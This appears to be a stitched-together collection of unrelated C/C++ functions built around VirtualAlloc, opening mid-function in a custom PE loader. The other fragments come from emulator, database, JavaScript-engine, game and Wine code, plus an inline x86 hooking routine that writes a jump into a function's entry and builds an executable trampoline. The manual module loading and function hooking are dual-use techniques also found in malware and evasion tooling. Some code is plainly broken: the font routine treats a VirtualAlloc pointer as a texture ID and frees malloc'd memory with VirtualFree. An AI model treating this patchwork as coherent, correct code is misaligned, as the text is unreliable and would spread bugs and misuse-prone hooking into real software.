buffer for the redirected dll name free(wszDllName); wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR)); if (wszDllName == NULL) goto next_import; memcpy(wszDllName, wsRedir, stRedirName * sizeof(WCHAR)); dprintf("[REFRESH] Redirected library: %S", wszDllName); } } // Load the module hModule = CustomGetModuleHandleW(wszDllName); // Ignore libraries that fail to load if (hModule == NULL) goto next_import; if (pImportDesc->OriginalFirstThunk) pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->OriginalFirstThunk); else pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->FirstThunk); pIatEntry = (FARPROC*)(pLibraryAddr + pImportDesc->FirstThunk); // loop through each thunk and resolve the import for(; DEREF(pThunkData); pThunkData++, pIatEntry++) { if (IMAGE_SNAP_BY_ORDINAL(pThunkData->u1.Ordinal)) *pIatEntry = CustomGetProcAddressEx(hModule, (PCHAR)IMAGE_ORDINAL(pThunkData->u1.Ordinal), wszDllName); else *pIatEntry = CustomGetProcAddressEx(hModule, ((PIMAGE_IMPORT_BY_NAME)(pLibraryAddr + DEREF(pThunkData)))->Name, wszDllName); } next_import: if (wszDllName != NULL) { free(wszDllName); wszDllName = NULL; } pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PCHAR)pImportDesc + sizeof(IMAGE_IMPORT_DESCRIPTOR)); } } cleanup: if (pFile != NULL) UnmapViewOfFile(pFile); if (hMap != NULL) CloseHandle(hMap); if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile); return (HMODULE) pLibraryAddr; }
void MemoryMap_Setup(u32 flags) { // Find a base to reserve 256MB #if defined(_XBOX) base = (u8*)VirtualAlloc(0, 0x10000000, MEM_RESERVE|MEM_LARGE_PAGES, PAGE_READWRITE); #elif defined(__SYMBIAN32__) memmap = new RChunk(); memmap->CreateDisconnectedLocal(0 , 0, 0x10000000); base = memmap->Base(); #else size_t total_mem = 0; for (int i = 0; i < num_views; i++) { if (views[i].size == 0) continue; SKIP(flags, views[i].flags); if (!CanIgnoreView(views[i])) total_mem += g_arena.roundup(views[i].size); } // Grab some pagefile backed memory out of the void ... g_arena.GrabLowMemSpace(total_mem); // 32-bit Windows retrieves base a different way #if defined(_M_X64) || !defined(_WIN32) // This really shouldn't fail - in 64-bit, there will always be enough address space. // Linux32 is fine with the x64 method, although limited to 32-bit with no automirrors. base = MemArena::Find4GBBase(); #endif #endif // Now, create views in high memory where there's plenty of space. #if defined(_WIN32) && !defined(_M_X64) && !defined(_XBOX) // Try a whole range of possible bases. Return once we got a valid one. int base_attempts = 0; u32 max_base_addr = 0x7FFF0000 - 0x10000000; for (u32 base_addr = 0x01000000; base_addr < max_base_addr; base_addr += 0x400000) { base_attempts++; base = (u8 *)base_addr; if (Memory_TryBase(flags)) { INFO_LOG(MEMMAP, "Found valid memory base at %p after %i tries.", base, base_attempts); base_attempts = 0; break; } } if (base_attempts) PanicAlert("No possible memory base pointer found!"); #else // Try base we retrieved earlier if (!Memory_TryBase(flags)) { ERROR_LOG(MEMMAP, "MemoryMap_Setup: Failed finding a memory base."); PanicAlert("MemoryMap_Setup: Failed finding a memory base."); } #endif return; }
/****************************************************************//** Allocates large pages memory. @return allocated memory */ UNIV_INTERN void* os_mem_alloc_large( /*===============*/ ulint* n) /*!< in/out: number of bytes */ { void* ptr; ulint size; #if defined HAVE_LARGE_PAGES && defined UNIV_LINUX int shmid; struct shmid_ds buf; if (!os_use_large_pages || !os_large_page_size) { goto skip; } /* Align block size to os_large_page_size */ ut_ad(ut_is_2pow(os_large_page_size)); size = ut_2pow_round(*n + (os_large_page_size - 1), os_large_page_size); shmid = shmget(IPC_PRIVATE, (size_t)size, SHM_HUGETLB | SHM_R | SHM_W); if (shmid < 0) { ib_logger(ib_stream, "InnoDB: HugeTLB: Warning: Failed to allocate" " %lu bytes. errno %d\n", size, errno); ptr = NULL; } else { ptr = shmat(shmid, NULL, 0); if (ptr == (void *)-1) { ib_logger(ib_stream, "InnoDB: HugeTLB: Warning: Failed to" " attach shared memory segment, errno %d\n", errno); ptr = NULL; } /* Remove the shared memory segment so that it will be automatically freed after memory is detached or process exits */ shmctl(shmid, IPC_RMID, &buf); } if (ptr) { *n = size; os_fast_mutex_lock(&ut_list_mutex); ut_total_allocated_memory += size; os_fast_mutex_unlock(&ut_list_mutex); # ifdef UNIV_SET_MEM_TO_ZERO memset(ptr, '\0', size); # endif UNIV_MEM_ALLOC(ptr, size); return(ptr); } ib_logger(ib_stream, "InnoDB HugeTLB: Warning: Using conventional" " memory pool\n"); skip: #endif /* HAVE_LARGE_PAGES && UNIV_LINUX */ #ifdef __WIN__ SYSTEM_INFO system_info; GetSystemInfo(&system_info); /* Align block size to system page size */ ut_ad(ut_is_2pow(system_info.dwPageSize)); /* system_info.dwPageSize is only 32-bit. Casting to ulint is required on 64-bit Windows. */ size = *n = ut_2pow_round(*n + (system_info.dwPageSize - 1), (ulint) system_info.dwPageSize); ptr = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!ptr) { ib_logger(ib_stream, "InnoDB: VirtualAlloc(%lu bytes) failed;" " Windows error %lu\n", (ulong) size, (ulong) GetLastError()); } else { os_fast_mutex_lock(&ut_list_mutex); ut_total_allocated_memory += size; os_fast_mutex_unlock(&ut_list_mutex); UNIV_MEM_ALLOC(ptr, size); } #elif defined __NETWARE__ || !defined OS_MAP_ANON size = *n; ptr = ut_malloc_low(size, TRUE, FALSE); #else # ifdef HAVE_GETPAGESIZE size = getpagesize(); # else size = UNIV_PAGE_SIZE; # endif /* Align block size to system page size */ ut_ad(ut_is_2pow(size)); size = *n = ut_2pow_round(*n + (size - 1), size); ptr = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | OS_MAP_ANON, -1, 0); if (UNIV_UNLIKELY(ptr == (void*) -1)) { ib_logger(ib_stream, "InnoDB: mmap(%lu bytes) failed;" " errno %lu\n", (ulong) size, (ulong) errno); ptr = NULL; } else { os_fast_mutex_lock(&ut_list_mutex); ut_total_allocated_memory += size; os_fast_mutex_unlock(&ut_list_mutex); UNIV_MEM_ALLOC(ptr, size); } #endif return(ptr); }
LPVOID PreReservedVirtualAllocWrapper::Alloc(LPVOID lpAddress, size_t dwSize, DWORD allocationType, DWORD protectFlags, bool isCustomHeapAllocation) { Assert(this); AssertMsg(isCustomHeapAllocation, "PreReservation used for allocations other than CustomHeap?"); AssertMsg(AutoSystemInfo::Data.IsCFGEnabled() || PHASE_FORCE1(Js::PreReservedHeapAllocPhase), "PreReservation without CFG ?"); Assert(dwSize != 0); { AutoCriticalSection autocs(&this->cs); //Return nullptr, if no space to Reserve if (EnsurePreReservedRegionInternal() == nullptr) { PreReservedHeapTrace(_u("No space to pre-reserve memory with %d pages. Returning NULL\n"), PreReservedAllocationSegmentCount * AutoSystemInfo::Data.GetAllocationGranularityPageCount()); return nullptr; } char * addressToReserve = nullptr; uint freeSegmentsBVIndex = BVInvalidIndex; size_t requestedNumOfSegments = dwSize / (AutoSystemInfo::Data.GetAllocationGranularityPageSize()); Assert(requestedNumOfSegments <= MAXUINT32); if (lpAddress == nullptr) { Assert(requestedNumOfSegments != 0); AssertMsg(dwSize % AutoSystemInfo::Data.GetAllocationGranularityPageSize() == 0, "dwSize should be aligned with Allocation Granularity"); do { freeSegmentsBVIndex = freeSegments.GetNextBit(freeSegmentsBVIndex + 1); //Return nullptr, if we don't have free/decommit pages to allocate if ((freeSegments.Length() - freeSegmentsBVIndex < requestedNumOfSegments) || freeSegmentsBVIndex == BVInvalidIndex) { PreReservedHeapTrace(_u("No more space to commit in PreReserved Memory region.\n")); return nullptr; } } while (!freeSegments.TestRange(freeSegmentsBVIndex, static_cast<uint>(requestedNumOfSegments))); uint offset = freeSegmentsBVIndex * AutoSystemInfo::Data.GetAllocationGranularityPageSize(); addressToReserve = (char*) preReservedStartAddress + offset; //Check if the region is not already in MEM_COMMIT state. MEMORY_BASIC_INFORMATION memBasicInfo; size_t bytes = VirtualQuery(addressToReserve, &memBasicInfo, sizeof(memBasicInfo)); if (bytes == 0 || memBasicInfo.RegionSize < requestedNumOfSegments * AutoSystemInfo::Data.GetAllocationGranularityPageSize() || memBasicInfo.State == MEM_COMMIT ) { CustomHeap_BadPageState_fatal_error((ULONG_PTR)this); return nullptr; } } else { //Check If the lpAddress is within the range of the preReserved Memory Region Assert(((char*) lpAddress) >= (char*) preReservedStartAddress || ((char*) lpAddress + dwSize) < GetPreReservedEndAddress()); addressToReserve = (char*) lpAddress; freeSegmentsBVIndex = (uint) ((addressToReserve - (char*) preReservedStartAddress) / AutoSystemInfo::Data.GetAllocationGranularityPageSize()); #if DBG uint numOfSegments = (uint)ceil((double)dwSize / (double)AutoSystemInfo::Data.GetAllocationGranularityPageSize()); Assert(numOfSegments != 0); Assert(freeSegmentsBVIndex + numOfSegments - 1 < freeSegments.Length()); Assert(!freeSegments.TestRange(freeSegmentsBVIndex, numOfSegments)); #endif } AssertMsg(freeSegmentsBVIndex < PreReservedAllocationSegmentCount, "Invalid BitVector index calculation?"); AssertMsg(dwSize % AutoSystemInfo::PageSize == 0, "COMMIT is managed at AutoSystemInfo::PageSize granularity"); char * allocatedAddress = nullptr; if ((allocationType & MEM_COMMIT) != 0) { #if defined(ENABLE_JIT_CLAMP) AutoEnableDynamicCodeGen enableCodeGen; #endif #if defined(_CONTROL_FLOW_GUARD) if (AutoSystemInfo::Data.IsCFGEnabled()) { DWORD oldProtect = 0; DWORD allocProtectFlags = 0; if (AutoSystemInfo::Data.IsCFGEnabled()) { allocProtectFlags = PAGE_EXECUTE_RW_TARGETS_INVALID; } else { allocProtectFlags = PAGE_EXECUTE_READWRITE; } allocatedAddress = (char *)VirtualAlloc(addressToReserve, dwSize, MEM_COMMIT, allocProtectFlags); if (allocatedAddress != nullptr) { VirtualProtect(allocatedAddress, dwSize, protectFlags, &oldProtect); AssertMsg(oldProtect == (PAGE_EXECUTE_READWRITE), "CFG Bitmap gets allocated and bits will be set to invalid only upon passing these flags."); } } else #endif { allocatedAddress = (char *)VirtualAlloc(addressToReserve, dwSize, MEM_COMMIT, protectFlags); } } else { // Just return the uncommitted address if we didn't ask to commit it. allocatedAddress = addressToReserve; } // Keep track of the committed pages within the preReserved Memory Region if (lpAddress == nullptr && allocatedAddress != nullptr) { Assert(allocatedAddress == addressToReserve); Assert(requestedNumOfSegments != 0); freeSegments.ClearRange(freeSegmentsBVIndex, static_cast<uint>(requestedNumOfSegments)); } PreReservedHeapTrace(_u("MEM_COMMIT: StartAddress: 0x%p of size: 0x%x * 0x%x bytes \n"), allocatedAddress, requestedNumOfSegments, AutoSystemInfo::Data.GetAllocationGranularityPageSize()); return allocatedAddress; } }
ExecutablePool::Allocation ExecutablePool::systemAlloc(size_t n) { void *allocation = VirtualAlloc(0, n, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); ExecutablePool::Allocation alloc = {reinterpret_cast<char*>(allocation), n}; return alloc; }
void* os_reserve(size_t bytes) { char* ptr = (char*) VirtualAlloc(NULL,bytes,MEM_RESERVE,PAGE_READWRITE); if (ptr == NULL) throw std::bad_alloc(); return ptr; }
void MakeBitmapCodepoint(char Letter, platform_read_file *ReadFile, game_state *GameState) { read_file_result FontFile = PlatformReadFile("../Assets/Gotham-Medium.ttf"); Assert(FontFile.Contents > 0); int Width, Height, XOffset, YOffset; stbtt_fontinfo FontInfo; stbtt_InitFont(&FontInfo, (uint8 *)FontFile.Contents, stbtt_GetFontOffsetForIndex((uint8 *)FontFile.Contents, 0)); uint8 *MonoBitmap = stbtt_GetCodepointBitmap(&FontInfo, 0, stbtt_ScaleForPixelHeight(&FontInfo, (float)GlobalFontRenderSize), Letter, &Width, &Height, &XOffset, &YOffset); font_codepoint *NextCodepoint = &GameState->AlphabetBitmaps[GameState->AlphabetBitmapsCount]; GameState->AlphabetBitmapsCount++; NextCodepoint->BaselineFactor = YOffset; NextCodepoint->Bitmap.Width = Width; NextCodepoint->Bitmap.Height = Height; NextCodepoint->Bitmap.GLTexture = (GLuint)VirtualAlloc(0, sizeof(*MonoBitmap), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); SIZE_T BitmapSize = sizeof(uint32) * Width * Height; void *ConvertedBitmap = malloc(BitmapSize); uint32 Pitch = Width * sizeof(uint32); uint8 *Source = (uint8 *)MonoBitmap; uint8 *DestRow = (uint8 *)ConvertedBitmap + ((Height - 1) * Pitch); for (uint32 Y = 0; Y < (uint32)Height; ++Y) { uint32 *Dest = (uint32 *)DestRow; for (uint32 X = 0; X < (uint32)Width; ++X) { uint8 MonoAlpha = *Source++; uint8 Bit2 = MonoAlpha; // A uint8 Bit3 = MonoAlpha; // R uint8 Bit0 = MonoAlpha; // G uint8 Bit1 = MonoAlpha; // B *Dest++ = ((Bit0 << 24) | (Bit1 << 16) | (Bit2 << 8) | (Bit3 << 0)); } DestRow -= Pitch; } //TODO pull this out into a separate GL function to keep gl code separate from game code. glGenTextures(1, &NextCodepoint->Bitmap.GLTexture); glBindTexture(GL_TEXTURE_2D, NextCodepoint->Bitmap.GLTexture); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, Width, Height, 0, GL_RGBA, GL_UNSIGNED_BYTE, ConvertedBitmap); VirtualFree(ConvertedBitmap, BitmapSize, MEM_RELEASE); stbtt_FreeBitmap(MonoBitmap, 0); }
/********************************************************************** * PE_LoadImage * Load one PE format DLL/EXE into memory * * Unluckily we can't just mmap the sections where we want them, for * (at least) Linux does only support offsets which are page-aligned. * * BUT we have to map the whole image anyway, for Win32 programs sometimes * want to access them. (HMODULE32 point to the start of it) */ HMODULE PE_LoadImage( int handle, LPCSTR filename, WORD *version ) { HMODULE hModule; HANDLE mapping; IMAGE_NT_HEADERS *nt; IMAGE_SECTION_HEADER *pe_sec; IMAGE_DATA_DIRECTORY *dir; BY_HANDLE_FILE_INFORMATION bhfi; int i, rawsize, lowest_va, vma_size, file_size = 0; DWORD load_addr = 0, aoep, reloc = 0; // struct get_read_fd_request *req = get_req_buffer(); int unix_handle = handle; int page_size = getpagesize(); // if ( GetFileInformationByHandle( hFile, &bhfi ) ) // file_size = bhfi.nFileSizeLow; file_size=lseek(handle, 0, SEEK_END); lseek(handle, 0, SEEK_SET); //#warning fix CreateFileMappingA mapping = CreateFileMappingA( handle, NULL, PAGE_READONLY | SEC_COMMIT, 0, 0, NULL ); if (!mapping) { WARN("CreateFileMapping error %ld\n", GetLastError() ); return 0; } // hModule = (HMODULE)MapViewOfFile( mapping, FILE_MAP_READ, 0, 0, 0 ); hModule=(HMODULE)mapping; // CloseHandle( mapping ); if (!hModule) { WARN("MapViewOfFile error %ld\n", GetLastError() ); return 0; } if ( *(WORD*)hModule !=IMAGE_DOS_SIGNATURE) { WARN("%s image doesn't have DOS signature, but 0x%04x\n", filename,*(WORD*)hModule); goto error; } nt = PE_HEADER( hModule ); if ( nt->Signature != IMAGE_NT_SIGNATURE ) { WARN("%s image doesn't have PE signature, but 0x%08lx\n", filename, nt->Signature ); goto error; } if ( nt->FileHeader.Machine != IMAGE_FILE_MACHINE_I386 ) { MESSAGE("Trying to load PE image for unsupported architecture ("); switch (nt->FileHeader.Machine) { case IMAGE_FILE_MACHINE_UNKNOWN: MESSAGE("Unknown"); break; case IMAGE_FILE_MACHINE_I860: MESSAGE("I860"); break; case IMAGE_FILE_MACHINE_R3000: MESSAGE("R3000"); break; case IMAGE_FILE_MACHINE_R4000: MESSAGE("R4000"); break; case IMAGE_FILE_MACHINE_R10000: MESSAGE("R10000"); break; case IMAGE_FILE_MACHINE_ALPHA: MESSAGE("Alpha"); break; case IMAGE_FILE_MACHINE_POWERPC: MESSAGE("PowerPC"); break; default: MESSAGE("Unknown-%04x", nt->FileHeader.Machine); break; } MESSAGE(")\n"); goto error; } pe_sec = PE_SECTIONS( hModule ); rawsize = 0; lowest_va = 0x10000; for (i = 0; i < nt->FileHeader.NumberOfSections; i++) { if (lowest_va > pe_sec[i].VirtualAddress) lowest_va = pe_sec[i].VirtualAddress; if (pe_sec[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) continue; if (pe_sec[i].PointerToRawData+pe_sec[i].SizeOfRawData > rawsize) rawsize = pe_sec[i].PointerToRawData+pe_sec[i].SizeOfRawData; } if ( file_size && file_size < rawsize ) { ERR("PE module is too small (header: %d, filesize: %d), " "probably truncated download?\n", rawsize, file_size ); goto error; } aoep = nt->OptionalHeader.AddressOfEntryPoint; if (aoep && (aoep < lowest_va)) FIXME("VIRUS WARNING: '%s' has an invalid entrypoint (0x%08lx) " "below the first virtual address (0x%08x) " "(possibly infected by Tchernobyl/SpaceFiller virus)!\n", filename, aoep, lowest_va ); /* FIXME: Hack! While we don't really support shared sections yet, * this checks for those special cases where the whole DLL * consists only of shared sections and is mapped into the * shared address space > 2GB. In this case, we assume that * the module got mapped at its base address. Thus we simply * check whether the module has actually been mapped there * and use it, if so. This is needed to get Win95 USER32.DLL * to work (until we support shared sections properly). */ if ( nt->OptionalHeader.ImageBase & 0x80000000 ) { HMODULE sharedMod = (HMODULE)nt->OptionalHeader.ImageBase; IMAGE_NT_HEADERS *sharedNt = (PIMAGE_NT_HEADERS) ( (LPBYTE)sharedMod + ((LPBYTE)nt - (LPBYTE)hModule) ); /* Well, this check is not really comprehensive, but should be good enough for now ... */ if ( !IsBadReadPtr( (LPBYTE)sharedMod, sizeof(IMAGE_DOS_HEADER) ) && memcmp( (LPBYTE)sharedMod, (LPBYTE)hModule, sizeof(IMAGE_DOS_HEADER) ) == 0 && !IsBadReadPtr( sharedNt, sizeof(IMAGE_NT_HEADERS) ) && memcmp( sharedNt, nt, sizeof(IMAGE_NT_HEADERS) ) == 0 ) { UnmapViewOfFile( (LPVOID)hModule ); return sharedMod; } } load_addr = nt->OptionalHeader.ImageBase; vma_size = calc_vma_size( hModule ); load_addr = (DWORD)VirtualAlloc( (void*)load_addr, vma_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if (load_addr == 0) { FIXME("We need to perform base relocations for %s\n", filename); dir = nt->OptionalHeader.DataDirectory+IMAGE_DIRECTORY_ENTRY_BASERELOC; if (dir->Size) reloc = dir->VirtualAddress; else { FIXME( "FATAL: Need to relocate %s, but no relocation records present (%s). Try to run that file directly !\n", filename, (nt->FileHeader.Characteristics&IMAGE_FILE_RELOCS_STRIPPED)? "stripped during link" : "unknown reason" ); goto error; } /* FIXME: If we need to relocate a system DLL (base > 2GB) we should * really make sure that the *new* base address is also > 2GB. * Some DLLs really check the MSB of the module handle :-/ */ if ( nt->OptionalHeader.ImageBase & 0x80000000 ) ERR( "Forced to relocate system DLL (base > 2GB). This is not good.\n" ); load_addr = (DWORD)VirtualAlloc( NULL, vma_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if (!load_addr) { FIXME_(win32)( "FATAL: Couldn't load module %s (out of memory, %d needed)!\n", filename, vma_size); goto error; } } TRACE("Load addr is %lx (base %lx), range %x\n", load_addr, nt->OptionalHeader.ImageBase, vma_size ); TRACE_(segment)("Loading %s at %lx, range %x\n", filename, load_addr, vma_size ); #if 0 *(PIMAGE_DOS_HEADER)load_addr = *(PIMAGE_DOS_HEADER)hModule; *PE_HEADER( load_addr ) = *nt; memcpy( PE_SECTIONS(load_addr), PE_SECTIONS(hModule), sizeof(IMAGE_SECTION_HEADER) * nt->FileHeader.NumberOfSections ); memcpy( load_addr, hModule, lowest_fa ); #endif if ((void*)FILE_dommap( handle, (void *)load_addr, 0, nt->OptionalHeader.SizeOfHeaders, 0, 0, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_FIXED ) != (void*)load_addr) { ERR_(win32)( "Critical Error: failed to map PE header to necessary address.\n"); goto error; } pe_sec = PE_SECTIONS( hModule ); for (i = 0; i < nt->FileHeader.NumberOfSections; i++, pe_sec++) { if (!pe_sec->SizeOfRawData || !pe_sec->PointerToRawData) continue; TRACE("%s: mmaping section %s at %p off %lx size %lx/%lx\n", filename, pe_sec->Name, (void*)RVA(pe_sec->VirtualAddress), pe_sec->PointerToRawData, pe_sec->SizeOfRawData, pe_sec->Misc.VirtualSize ); if ((void*)FILE_dommap( unix_handle, (void*)RVA(pe_sec->VirtualAddress), 0, pe_sec->SizeOfRawData, 0, pe_sec->PointerToRawData, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_FIXED ) != (void*)RVA(pe_sec->VirtualAddress)) { ERR_(win32)( "Critical Error: failed to map PE section to necessary address.\n"); goto error; } if ((pe_sec->SizeOfRawData < pe_sec->Misc.VirtualSize) && (pe_sec->SizeOfRawData & (page_size-1))) { DWORD end = (pe_sec->SizeOfRawData & ~(page_size-1)) + page_size; if (end > pe_sec->Misc.VirtualSize) end = pe_sec->Misc.VirtualSize; TRACE("clearing %p - %p\n", RVA(pe_sec->VirtualAddress) + pe_sec->SizeOfRawData, RVA(pe_sec->VirtualAddress) + end ); memset( (char*)RVA(pe_sec->VirtualAddress) + pe_sec->SizeOfRawData, 0, end - pe_sec->SizeOfRawData ); } } if ( reloc ) do_relocations( load_addr, (IMAGE_BASE_RELOCATION *)RVA(reloc) ); *version = ( (nt->OptionalHeader.MajorSubsystemVersion & 0xff) << 8 ) | (nt->OptionalHeader.MinorSubsystemVersion & 0xff); UnmapViewOfFile( (LPVOID)hModule ); return (HMODULE)load_addr; error: if (unix_handle != -1) close( unix_handle ); if (load_addr) VirtualFree( (LPVOID)load_addr, 0, MEM_RELEASE ); UnmapViewOfFile( (LPVOID)hModule ); return 0; }
static void test_ws_functions(void) { PSAPI_WS_WATCH_INFORMATION wswi[4096]; ULONG_PTR pages[4096]; char *addr; unsigned int i; BOOL ret; SetLastError(0xdeadbeef); pEmptyWorkingSet(NULL); todo_wine ok(GetLastError() == ERROR_INVALID_HANDLE, "expected error=ERROR_INVALID_HANDLE but got %d\n", GetLastError()); SetLastError(0xdeadbeef); pEmptyWorkingSet(hpSR); todo_wine ok(GetLastError() == ERROR_ACCESS_DENIED, "expected error=ERROR_ACCESS_DENIED but got %d\n", GetLastError()); SetLastError(0xdeadbeef); ret = pEmptyWorkingSet(hpAA); ok(ret == 1, "failed with %d\n", GetLastError()); SetLastError( 0xdeadbeef ); ret = pInitializeProcessForWsWatch( NULL ); todo_wine ok( !ret, "InitializeProcessForWsWatch succeeded\n" ); if (!ret) { if (GetLastError() == ERROR_INVALID_FUNCTION) /* not supported on xp in wow64 mode */ { trace( "InitializeProcessForWsWatch not supported\n" ); return; } ok( GetLastError() == ERROR_INVALID_HANDLE, "wrong error %u\n", GetLastError() ); } SetLastError(0xdeadbeef); ret = pInitializeProcessForWsWatch(hpAA); ok(ret == 1, "failed with %d\n", GetLastError()); addr = VirtualAlloc(NULL, 1, MEM_COMMIT, PAGE_READWRITE); if(!addr) return; *addr = 0; /* make sure it's paged in (needed on wow64) */ if(!VirtualLock(addr, 1)) { trace("locking failed (error=%d) - skipping test\n", GetLastError()); goto free_page; } SetLastError(0xdeadbeef); ret = pQueryWorkingSet(hpQI, pages, 4096 * sizeof(ULONG_PTR)); todo_wine ok(ret == 1, "failed with %d\n", GetLastError()); if(ret == 1) { for(i = 0; i < pages[0]; i++) if((pages[i+1] & ~0xfffL) == (ULONG_PTR)addr) { todo_wine ok(ret == 1, "QueryWorkingSet found our page\n"); goto test_gwsc; } todo_wine ok(0, "QueryWorkingSet didn't find our page\n"); } test_gwsc: SetLastError(0xdeadbeef); ret = pGetWsChanges(hpQI, wswi, sizeof(wswi)); todo_wine ok(ret == 1, "failed with %d\n", GetLastError()); if(ret == 1) { for(i = 0; wswi[i].FaultingVa; i++) if(((ULONG_PTR)wswi[i].FaultingVa & ~0xfffL) == (ULONG_PTR)addr) { todo_wine ok(ret == 1, "GetWsChanges found our page\n"); goto free_page; } todo_wine ok(0, "GetWsChanges didn't find our page\n"); } free_page: VirtualFree(addr, 0, MEM_RELEASE); }
void hook(char *addressFrom, char *addressTo, unsigned long *saveAddress) { DWORD oldProtect = 0; x86_insn_t insn; memset (&insn, 0, sizeof (insn)); int totalSize = 0; totalSize += x86_disasm ((unsigned char *)addressFrom, INTEL_MAXINSTRLEN, 0, 0, &insn); while(totalSize < FUNCTION_PATCHLEN) { int newTotalSize = x86_disasm ((unsigned char *)(addressFrom + totalSize), INTEL_MAXINSTRLEN, 0, 0, &insn); totalSize += newTotalSize; } char *mbuf = (char *)VirtualAlloc(NULL,1024,MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE); // memset(mbuf,0,1024); // sprintf(mbuf,"* starting hook...\n"); // OutputDebugString(mbuf); // memset(mbuf,0,1024); // sprintf(mbuf,"* total size of function prelude is %d\n",totalSize); // OutputDebugString(mbuf); char *codeCave = (char *)VirtualAlloc(NULL,totalSize + FUNCTION_TAILLEN,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD unused; VirtualProtect(codeCave,totalSize + FUNCTION_TAILLEN,PAGE_READWRITE,&oldProtect); // memset(mbuf,0,1024); // sprintf(mbuf,"* code cave lives at %08x\n",(unsigned long )codeCave); // OutputDebugString(mbuf); // memset(mbuf,0,1024); // sprintf(mbuf,"* addressfrom at %08x\n",(unsigned long )addressFrom); // OutputDebugString(mbuf); // memset(mbuf,0,1024); // sprintf(mbuf,"* trying to write code cave...\n"); // OutputDebugString(mbuf); VirtualProtect(codeCave,totalSize + FUNCTION_TAILLEN,PAGE_READWRITE,&unused); memset(codeCave,'\xCC',totalSize); memcpy(codeCave,addressFrom,totalSize); codeCave[totalSize] = '\xE9'; DWORD *cp = (DWORD *)((unsigned long )codeCave + totalSize + 1); cp[0] = (unsigned long )(addressFrom + totalSize - ((unsigned long )codeCave + totalSize + 5)); saveAddress[0] = (unsigned long )codeCave; VirtualProtect(codeCave,totalSize + FUNCTION_TAILLEN,PAGE_EXECUTE_READ,&unused); // memset(mbuf,0,1024); // sprintf(mbuf,"* trying to rewrite function entry...\n"); // OutputDebugString(mbuf); VirtualProtect(addressFrom,7,PAGE_READWRITE,&oldProtect); memset(addressFrom,'\xCC',totalSize); addressFrom[0] = '\xE9'; DWORD *p = (DWORD *)((unsigned long ) addressFrom + 1 ); p[0] = (DWORD )(addressTo - ((unsigned long ) addressFrom + 5)); VirtualProtect(addressFrom,7,oldProtect,&unused); // memset(mbuf,0,1024); // sprintf(mbuf,"* all done\n"); // OutputDebugString(mbuf); /* hook structure: hookFrom: E9 addressTo addressTo: our function codeCave is the new function */ memset(mbuf,0,1024); wsprintf(mbuf,"* [%08x] %02x %02x%02x%02x%02x (%08x)\n",(unsigned long )addressFrom, (unsigned char )addressFrom[0], (unsigned char )addressFrom[1], (unsigned char )addressFrom[2], (unsigned char )addressFrom[3], (unsigned char )addressFrom[4], (unsigned long )addressTo); OutputDebugString(mbuf); VirtualFree(mbuf,0,MEM_RELEASE); return; }
inline bool allocateVirtualAddressRegion(uint8_t *addressSpace, size_t offset, size_t size) { auto result = VirtualAlloc(addressSpace + offset, size, MEM_COMMIT, PAGE_READWRITE); return result == addressSpace + offset; }